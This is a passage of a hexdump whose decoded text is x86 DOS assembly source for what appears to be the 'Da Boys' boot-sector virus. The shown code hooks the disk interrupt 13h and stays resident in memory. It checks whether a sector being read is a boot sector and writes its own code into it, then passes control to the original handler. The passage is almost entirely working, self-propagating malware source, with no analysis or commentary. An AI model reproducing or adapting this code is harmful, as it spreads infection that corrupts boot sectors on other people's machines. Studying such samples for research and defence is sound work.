|00001090| 0a 09 09 61 64 64 09 61 | 78 2c 30 30 30 31 68 0a |...add.a|x,0001h.|
|000010a0| 09 09 61 64 63 09 64 78 | 2c 30 30 68 0a 09 09 61 |..adc.dx|,00h...a|
|000010b0| 64 64 09 62 78 2c 77 6f | 72 64 09 70 74 72 20 64 |dd.bx,wo|rd.ptr d|
|000010c0| 73 3a 5b 64 69 2d 30 33 | 65 68 5d 0a 09 09 6c 6f |s:[di-03|eh]...lo|
|000010d0| 6f 70 09 6f 6c 64 5f 6c | 6f 6f 70 0a 09 09 6d 6f |op.old_l|oop...mo|
|000010e0| 76 09 63 68 2c 62 79 74 | 65 09 70 74 72 20 64 73 |v.ch,byt|e.ptr ds|
|000010f0| 3a 5b 64 69 2d 30 33 34 | 68 5d 0a 09 09 6d 6f 76 |:[di-034|h]...mov|
|00001100| 09 64 6c 2c 62 79 74 65 | 09 70 74 72 20 64 73 3a |.dl,byte|.ptr ds:|
|00001110| 5b 64 69 2d 30 32 35 68 | 5d 0a 09 09 6d 6f 76 09 |[di-025h|]...mov.|
|00001120| 62 78 2c 77 6f 72 64 09 | 70 74 72 20 64 73 3a 5b |bx,word.|ptr ds:[|
|00001130| 64 69 5d 0a 09 09 6d 6f | 76 09 61 78 2c 77 6f 72 |di]...mo|v.ax,wor|
|00001140| 64 09 70 74 72 20 64 73 | 3a 5b 64 69 2b 30 30 32 |d.ptr ds|:[di+002|
|00001150| 68 5d 0a 09 09 6a 6d 70 | 09 66 61 72 20 70 74 72 |h]...jmp|.far ptr|
|00001160| 09 69 6f 5f 73 79 73 5f | 6c 6f 61 64 73 5f 61 74 |.io_sys_|loads_at|
|00001170| 0a 0a 3b 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |..;-----|--------|
|00001180| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001190| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000011a0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000011b0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000011c0| 0a 0a 69 6e 69 74 69 61 | 6c 69 7a 65 3a 09 6d 6f |..initia|lize:.mo|
|000011d0| 76 09 62 78 2c 49 4e 49 | 54 49 41 4c 5f 42 58 0a |v.bx,INI|TIAL_BX.|
|000011e0| 09 09 6d 6f 76 09 64 69 | 2c 4c 4f 57 5f 43 4f 44 |..mov.di|,LOW_COD|
|000011f0| 45 0a 09 09 70 75 73 68 | 09 73 73 0a 09 09 70 6f |E...push|.ss...po|
|00001200| 70 09 64 73 0a 09 09 6a | 6d 70 09 73 68 6f 72 74 |p.ds...j|mp.short|
|00001210| 20 73 65 74 5f 69 6e 74 | 65 72 72 75 70 74 73 0a | set_int|errupts.|
|00001220| 0a 3b 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |.;------|--------|
|00001230| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001240| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001250| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001260| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 0a |--------|-------.|
|00001270| 0a 65 72 72 6f 72 5f 77 | 69 6c 6c 5f 6a 6d 70 3a |.error_w|ill_jmp:|
|00001280| 09 6d 6f 76 09 62 78 2c | 42 4f 4f 54 5f 4f 46 46 |.mov.bx,|BOOT_OFF|
|00001290| 53 45 54 0a 09 09 49 46 | 09 44 41 5f 42 4f 59 53 |SET...IF|.DA_BOYS|
|000012a0| 5f 54 45 58 54 0a 09 09 | 64 62 09 27 44 41 27 2c |_TEXT...|db.'DA',|
|000012b0| 30 32 37 68 2c 27 42 4f | 59 53 27 0a 09 09 45 4c |027h,'BO|YS'...EL|
|000012c0| 53 45 0a 09 09 70 75 73 | 68 09 62 78 0a 09 09 45 |SE...pus|h.bx...E|
|000012d0| 4e 44 49 46 0a 09 09 6d | 6f 76 09 61 78 2c 30 30 |NDIF...m|ov.ax,00|
|000012e0| 31 30 30 68 0a 09 09 6d | 6f 76 09 64 78 2c 30 38 |100h...m|ov.dx,08|
|000012f0| 30 30 30 68 0a 6c 6f 61 | 64 5f 66 72 6f 6d 5f 64 |000h.loa|d_from_d|
|00001300| 69 73 6b 3a 09 6d 6f 76 | 09 63 78 2c 61 78 0a 09 |isk:.mov|.cx,ax..|
|00001310| 09 6d 6f 76 09 61 78 2c | 52 45 41 44 5f 41 5f 53 |.mov.ax,|READ_A_S|
|00001320| 45 43 54 4f 52 0a 09 09 | 78 63 68 67 09 63 68 2c |ECTOR...|xchg.ch,|
|00001330| 63 6c 0a 09 09 78 63 68 | 67 09 64 68 2c 64 6c 0a |cl...xch|g.dh,dl.|
|00001340| 09 09 69 6e 74 09 44 49 | 53 4b 5f 49 4e 54 0a 09 |..int.DI|SK_INT..|
|00001350| 09 72 65 74 0a 0a 3b 2d | 2d 2d 2d 2d 2d 2d 2d 2d |.ret..;-|--------|
|00001360| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001370| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001380| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001390| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000013a0| 2d 2d 2d 2d 0a 0a 09 09 | 6f 72 67 09 30 30 31 36 |----....|org.0016|
|000013b0| 30 68 2b 43 4f 4d 5f 4f | 46 46 53 45 54 0a 0a 3b |0h+COM_O|FFSET..;|
|000013c0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000013d0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000013e0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000013f0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001400| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 0a 0a 6d |--------|-----..m|
|00001410| 6f 72 65 5f 6f 6c 64 5f | 63 6f 64 65 3a 09 6d 6f |ore_old_|code:.mo|
|00001420| 76 09 73 69 2c 42 4f 4f | 54 5f 4f 46 46 53 45 54 |v.si,BOO|T_OFFSET|
|00001430| 2b 30 31 38 68 0a 09 09 | 63 6d 70 09 64 78 2c 77 |+018h...|cmp.dx,w|
|00001440| 6f 72 64 09 70 74 72 20 | 64 73 3a 5b 73 69 5d 0a |ord.ptr |ds:[si].|
|00001450| 09 09 6a 6e 62 09 73 74 | 63 5f 72 65 74 75 72 6e |..jnb.st|c_return|
|00001460| 0a 09 09 64 69 76 09 77 | 6f 72 64 20 70 74 72 20 |...div.w|ord ptr |
|00001470| 64 73 3a 5b 73 69 5d 0a | 09 09 69 6e 63 09 64 6c |ds:[si].|..inc.dl|
|00001480| 0a 09 09 6d 6f 76 09 63 | 68 2c 64 6c 0a 09 09 78 |...mov.c|h,dl...x|
|00001490| 6f 72 09 64 78 2c 64 78 | 0a 09 09 49 46 09 43 4f |or.dx,dx|...IF.CO|
|000014a0| 4d 34 5f 4f 46 46 0a 09 | 09 6d 6f 76 09 77 6f 72 |M4_OFF..|.mov.wor|
|000014b0| 64 20 70 74 72 20 64 73 | 3a 5b 43 4f 4d 34 5f 4f |d ptr ds|:[COM4_O|
|000014c0| 46 46 53 45 54 5d 2c 64 | 78 0a 09 09 45 4e 44 49 |FFSET],d|x...ENDI|
|000014d0| 46 0a 09 09 64 69 76 09 | 77 6f 72 64 20 70 74 72 |F...div.|word ptr|
|000014e0| 20 64 73 3a 5b 73 69 2b | 30 30 32 68 5d 0a 09 09 | ds:[si+|002h]...|
|000014f0| 6d 6f 76 09 64 68 2c 62 | 79 74 65 09 70 74 72 20 |mov.dh,b|yte.ptr |
|00001500| 64 73 3a 5b 73 69 2b 30 | 30 63 68 5d 0a 09 09 73 |ds:[si+0|0ch]...s|
|00001510| 68 6c 09 61 68 2c 30 30 | 36 68 0a 09 09 6f 72 09 |hl.ah,00|6h...or.|
|00001520| 61 68 2c 63 68 0a 09 09 | 6a 6d 70 09 73 68 6f 72 |ah,ch...|jmp.shor|
|00001530| 74 20 6c 6f 61 64 5f 66 | 72 6f 6d 5f 64 69 73 6b |t load_f|rom_disk|
|00001540| 0a 73 74 63 5f 72 65 74 | 75 72 6e 3a 09 73 74 63 |.stc_ret|urn:.stc|
|00001550| 0a 09 09 72 65 74 0a 0a | 3b 2d 2d 2d 2d 2d 2d 2d |...ret..|;-------|
|00001560| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001570| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001580| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001590| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000015a0| 2d 2d 2d 2d 2d 2d 0a 0a | 09 09 6f 72 67 09 30 31 |------..|..org.01|
|000015b0| 38 31 68 2b 43 4f 4d 5f | 4f 46 46 53 45 54 0a 09 |81h+COM_|OFFSET..|
|000015c0| 09 72 65 74 0a 0a 3b 2d | 2d 2d 2d 2d 2d 2d 2d 2d |.ret..;-|--------|
|000015d0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000015e0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000015f0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001600| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001610| 2d 2d 2d 2d 0a 0a 72 65 | 73 74 61 72 74 5f 69 74 |----..re|start_it|
|00001620| 3a 09 69 6e 74 09 42 4f | 4f 54 5f 49 4e 54 0a 0a |:.int.BO|OT_INT..|
|00001630| 3b 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |;-------|--------|
|00001640| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001650| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001660| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001670| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 0a 0a |--------|------..|
|00001680| 73 65 74 5f 69 6e 74 65 | 72 72 75 70 74 73 3a 09 |set_inte|rrupts:.|
|00001690| 63 6d 70 09 77 6f 72 64 | 20 70 74 72 20 64 73 3a |cmp.word| ptr ds:|
|000016a0| 5b 64 69 5d 2c 61 78 0a | 09 09 6a 6e 65 09 69 73 |[di],ax.|..jne.is|
|000016b0| 5f 72 65 73 69 64 65 6e | 74 0a 09 09 6d 6f 76 09 |_residen|t...mov.|
|000016c0| 77 6f 72 64 20 70 74 72 | 20 64 73 3a 5b 4e 45 57 |word ptr| ds:[NEW|
|000016d0| 5f 49 4e 54 5f 31 33 5f | 4c 4f 4f 50 2a 41 44 44 |_INT_13_|LOOP*ADD|
|000016e0| 52 5f 4d 55 4c 2b 54 57 | 4f 5f 42 59 54 45 53 5d |R_MUL+TW|O_BYTES]|
|000016f0| 2c 61 78 0a 09 09 78 63 | 68 67 09 77 6f 72 64 20 |,ax...xc|hg.word |
|00001700| 70 74 72 20 64 73 3a 5b | 62 78 2b 28 44 49 53 4b |ptr ds:[|bx+(DISK|
|00001710| 5f 49 4e 54 2a 41 44 44 | 52 5f 4d 55 4c 2b 54 57 |_INT*ADD|R_MUL+TW|
|00001720| 4f 5f 42 59 54 45 53 29 | 2d 49 4e 49 54 49 41 4c |O_BYTES)|-INITIAL|
|00001730| 5f 42 58 5d 2c 61 78 0a | 09 09 6d 6f 76 09 77 6f |_BX],ax.|..mov.wo|
|00001740| 72 64 20 70 74 72 20 64 | 73 3a 5b 42 49 4f 53 5f |rd ptr d|s:[BIOS_|
|00001750| 49 4e 54 5f 31 33 2a 41 | 44 44 52 5f 4d 55 4c 2b |INT_13*A|DDR_MUL+|
|00001760| 54 57 4f 5f 42 59 54 45 | 53 5d 2c 61 78 0a 09 09 |TWO_BYTE|S],ax...|
|00001770| 6d 6f 76 09 61 78 2c 6f | 66 66 73 65 74 20 69 6e |mov.ax,o|ffset in|
|00001780| 74 65 72 72 75 70 74 5f | 31 33 2b 4c 4f 57 5f 43 |terrupt_|13+LOW_C|
|00001790| 4f 44 45 2d 6f 66 66 73 | 65 74 20 6f 6c 64 5f 6a |ODE-offs|et old_j|
|000017a0| 7a 0a 09 09 6d 6f 76 09 | 77 6f 72 64 20 70 74 72 |z...mov.|word ptr|
|000017b0| 20 64 73 3a 5b 4e 45 57 | 5f 49 4e 54 5f 31 33 5f | ds:[NEW|_INT_13_|
|000017c0| 4c 4f 4f 50 2a 41 44 44 | 52 5f 4d 55 4c 5d 2c 61 |LOOP*ADD|R_MUL],a|
|000017d0| 78 0a 09 09 78 63 68 67 | 09 77 6f 72 64 20 70 74 |x...xchg|.word pt|
|000017e0| 72 20 64 73 3a 5b 62 78 | 2b 28 44 49 53 4b 5f 49 |r ds:[bx|+(DISK_I|
|000017f0| 4e 54 2a 41 44 44 52 5f | 4d 55 4c 29 2d 49 4e 49 |NT*ADDR_|MUL)-INI|
|00001800| 54 49 41 4c 5f 42 58 5d | 2c 61 78 0a 09 09 6d 6f |TIAL_BX]|,ax...mo|
|00001810| 76 09 77 6f 72 64 20 70 | 74 72 20 64 73 3a 5b 42 |v.word p|tr ds:[B|
|00001820| 49 4f 53 5f 49 4e 54 5f | 31 33 2a 41 44 44 52 5f |IOS_INT_|13*ADDR_|
|00001830| 4d 55 4c 5d 2c 61 78 0a | 69 73 5f 72 65 73 69 64 |MUL],ax.|is_resid|
|00001840| 65 6e 74 3a 09 6a 6d 70 | 09 6d 6f 76 65 5f 74 6f |ent:.jmp|.move_to|
|00001850| 5f 6c 6f 77 0a 0a 3b 2d | 2d 2d 2d 2d 2d 2d 2d 2d |_low..;-|--------|
|00001860| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001870| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001880| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001890| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000018a0| 2d 2d 2d 2d 0a 0a 69 6e | 74 65 72 72 75 70 74 5f |----..in|terrupt_|
|000018b0| 31 33 09 70 72 6f 63 09 | 66 61 72 0a 09 09 63 6d |13.proc.|far...cm|
|000018c0| 70 09 61 68 2c 68 69 67 | 68 28 52 45 41 44 5f 41 |p.ah,hig|h(READ_A|
|000018d0| 5f 53 45 43 54 4f 52 29 | 0a 09 09 6a 6e 65 09 6a |_SECTOR)|...jne.j|
|000018e0| 6d 70 5f 6f 6c 64 5f 69 | 6e 74 5f 31 33 0a 09 09 |mp_old_i|nt_13...|
|000018f0| 63 6d 70 09 63 78 2c 46 | 49 52 53 54 5f 53 45 43 |cmp.cx,F|IRST_SEC|
|00001900| 54 4f 52 0a 09 09 6a 6e | 65 09 6a 6d 70 5f 6f 6c |TOR...jn|e.jmp_ol|
|00001910| 64 5f 69 6e 74 5f 31 33 | 0a 09 09 63 6d 70 09 64 |d_int_13|...cmp.d|
|00001920| 68 2c 63 6c 0a 09 09 6a | 61 09 6a 6d 70 5f 6f 6c |h,cl...j|a.jmp_ol|
|00001930| 64 5f 69 6e 74 5f 31 33 | 0a 09 09 70 75 73 68 61 |d_int_13|...pusha|
|00001940| 0a 09 09 69 6e 74 09 42 | 49 4f 53 5f 49 4e 54 5f |...int.B|IOS_INT_|
|00001950| 31 33 0a 09 09 6a 63 09 | 6e 6f 74 5f 62 6f 6f 74 |13...jc.|not_boot|
|00001960| 5f 73 65 63 74 0a 09 09 | 6d 6f 76 09 61 78 2c 30 |_sect...|mov.ax,0|
|00001970| 65 66 65 38 68 0a 09 09 | 78 63 68 67 09 77 6f 72 |efe8h...|xchg.wor|
|00001980| 64 20 70 74 72 20 65 73 | 3a 5b 62 78 2b 30 34 38 |d ptr es|:[bx+048|
|00001990| 68 5d 2c 61 78 0a 09 09 | 63 6d 70 09 61 78 2c 30 |h],ax...|cmp.ax,0|
|000019a0| 37 38 62 62 68 0a 09 09 | 6a 6e 65 09 6e 6f 74 5f |78bbh...|jne.not_|
|000019b0| 62 6f 6f 74 5f 73 65 63 | 74 0a 09 09 6d 6f 76 09 |boot_sec|t...mov.|
|000019c0| 64 69 2c 62 78 0a 09 09 | 61 64 64 09 64 69 2c 6f |di,bx...|add.di,o|
|000019d0| 66 66 73 65 74 20 6f 6c | 64 5f 6a 7a 2d 43 4f 4d |ffset ol|d_jz-COM|
|000019e0| 5f 4f 46 46 53 45 54 0a | 09 09 63 6d 70 09 62 68 |_OFFSET.|..cmp.bh|
|000019f0| 2c 68 69 67 68 28 42 4f | 4f 54 5f 4f 46 46 53 45 |,high(BO|OT_OFFSE|
|00001a00| 54 29 0a 09 09 70 75 73 | 68 66 0a 09 09 6a 6e 65 |T)...pus|hf...jne|
|00001a10| 09 6e 6f 5f 6b 65 79 5f | 70 72 65 73 73 0a 09 09 |.no_key_|press...|
|00001a20| 6d 6f 76 09 62 79 74 65 | 20 70 74 72 20 65 73 3a |mov.byte| ptr es:|
|00001a30| 5b 64 69 2b 30 30 63 68 | 5d 2c 52 45 54 55 52 4e |[di+00ch|],RETURN|
|00001a40| 5f 4e 45 41 52 0a 09 09 | 70 75 73 68 61 0a 09 09 |_NEAR...|pusha...|
|00001a50| 63 61 6c 6c 09 6e 65 61 | 72 20 70 74 72 20 68 69 |call.nea|r ptr hi|
|00001a60| 74 5f 61 6e 79 5f 6b 65 | 79 0a 09 09 70 6f 70 61 |t_any_ke|y...popa|
|00001a70| 0a 6e 6f 5f 6b 65 79 5f | 70 72 65 73 73 3a 09 6d |.no_key_|press:.m|
|00001a80| 6f 76 09 61 78 2c 57 52 | 49 54 45 5f 41 5f 53 45 |ov.ax,WR|ITE_A_SE|
|00001a90| 43 54 4f 52 0a 09 09 6d | 6f 76 09 73 69 2c 4c 4f |CTOR...m|ov.si,LO|
|00001aa0| 57 5f 43 4f 44 45 0a 09 | 09 63 61 6c 6c 09 6d 6f |W_CODE..|.call.mo|
|00001ab0| 76 65 5f 74 6f 5f 62 6f | 6f 74 0a 09 09 69 6e 63 |ve_to_bo|ot...inc|
|00001ac0| 09 63 78 0a 09 09 69 6e | 74 09 42 49 4f 53 5f 49 |.cx...in|t.BIOS_I|
|00001ad0| 4e 54 5f 31 33 0a 09 09 | 70 6f 70 66 0a 09 09 6a |NT_13...|popf...j|
|00001ae0| 65 09 72 65 73 74 61 72 | 74 5f 69 74 0a 6e 6f 74 |e.restar|t_it.not|
|00001af0| 5f 62 6f 6f 74 5f 73 65 | 63 74 3a 09 70 6f 70 61 |_boot_se|ct:.popa|
|00001b00| 0a 69 6e 74 65 72 72 75 | 70 74 5f 31 33 09 65 6e |.interru|pt_13.en|
|00001b10| 64 70 0a 0a 3b 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |dp..;---|--------|
|00001b20| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001b30| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001b40| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001b50| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001b60| 2d 2d 0a 0a 09 09 6f 72 | 67 09 30 30 31 65 35 68 |--....or|g.001e5h|
|00001b70| 2b 43 4f 4d 5f 4f 46 46 | 53 45 54 0a 6a 6d 70 5f |+COM_OFF|SET.jmp_|
|00001b80| 6f 6c 64 5f 69 6e 74 5f | 31 33 3a 09 6a 6d 70 09 |old_int_|13:.jmp.|
|00001b90| 66 61 72 20 70 74 72 09 | 6f 72 69 67 69 6e 61 6c |far ptr.|original|
|00001ba0| 5f 69 6e 74 5f 31 33 0a | 0a 3b 2d 2d 2d 2d 2d 2d |_int_13.|.;------|
|00001bb0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001bc0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001bd0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001be0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001bf0| 2d 2d 2d 2d 2d 2d 2d 0a | 0a 62 75 66 66 65 72 09 |-------.|.buffer.|
|00001c00| 09 64 62 09 53 45 43 54 | 4f 52 5f 53 49 5a 45 20 |.db.SECT|OR_SIZE |
|00001c10| 64 75 70 09 28 30 29 0a | 0a 3b 2d 2d 2d 2d 2d 2d |dup.(0).|.;------|
|00001c20| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001c30| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001c40| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001c50| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001c60| 2d 2d 2d 2d 2d 2d 2d 0a | 0a 09 09 6f 72 67 09 30 |-------.|...org.0|
|00001c70| 37 63 65 64 68 2d 4c 4f | 57 5f 43 4f 44 45 2b 6f |7cedh-LO|W_CODE+o|
|00001c80| 66 66 73 65 74 20 6f 6c | 64 5f 6a 7a 0a 68 69 74 |ffset ol|d_jz.hit|
|00001c90| 5f 61 6e 79 5f 6b 65 79 | 09 6c 61 62 65 6c 09 77 |_any_key|.label.w|
|00001ca0| 6f 72 64 0a 0a 3b 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |ord..;--|--------|
|00001cb0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001cc0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001cd0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001ce0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001cf0| 2d 2d 2d 0a 0a 64 61 5f | 62 6f 79 73 09 09 65 6e |---..da_|boys..en|
|00001d00| 64 70 0a 63 73 65 67 09 | 09 65 6e 64 73 0a 65 6e |dp.cseg.|.ends.en|
|00001d10| 64 09 09 63 6f 6d 5f 63 | 6f 64 65 0a 0a 0a       |d..com_c|ode...  |
+--------+-------------------------+-------------------------+--------+--------+